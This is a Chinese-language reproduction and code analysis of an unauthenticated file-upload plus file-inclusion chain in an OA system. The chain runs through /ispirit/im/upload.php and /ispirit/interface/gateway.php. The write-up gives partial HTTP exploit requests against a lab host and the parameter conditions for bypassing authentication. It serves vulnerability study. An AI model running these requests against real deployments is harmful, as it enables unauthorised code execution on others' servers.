漏洞复现
影响版本:
1 2 3 4 5 6
| V11版 2017版 2016版 2015版 2013版 2013增强版
|
测试环境:
漏洞复现:
通过 /ispirit/im/upload.php
页面,未授权文件上传一个一句话文件,可获得路径和文件名。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.235.7 Content-Length: 656 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: *
|
/ispirit/interface/gateway.php
存在文件包含漏洞,包含刚刚所上传的文件(/general/../../attach/im/
为默认路径,2012/969649651.jpg
为上图获得的文件名和目录名),包含文件从而执行命令。

1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /ispirit/interface/gateway.php HTTP/1.1 Host: 192.168.235.7 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*
|
漏洞分析:
直接打开php源码头部,带有Zend关键字。

通过Zend在线解密php代码http://dezend.qiling.org/free/
查看第4行至13行,p
参数不为空即可绕过身份验证。

如下图DEST_UID
参数不为0,即可进入inc/utility_file.php
中的upload
函数

如下图upload函数,会进入is_uploadable函数验证后缀是否为php

如下验证是否为php后缀,可通过php.绕过验证,但是默认不存储在wwwroot中,所以没用

构造文件上传poc,p
不为空,upload_mode
为2,DEST_UID
不为0,文件名参数为ATTACHMENT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.235.7 Content-Length: 656 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: *
|
/ispirit/interface/gateway.php
存在文件包含漏洞
p
为空即可绕过身份认证,如下可知,可从json中获取url参数的值

如下38行需校验传递参数中是否包含general/、ispirit/、module/
,如果包含url参数的值即可执行include_once,从而文件包含

如下图,成功成功文件包含并代码执行

网上有很多复现的文章,但是如果是为了学习的话最好还是自己通读一边代码。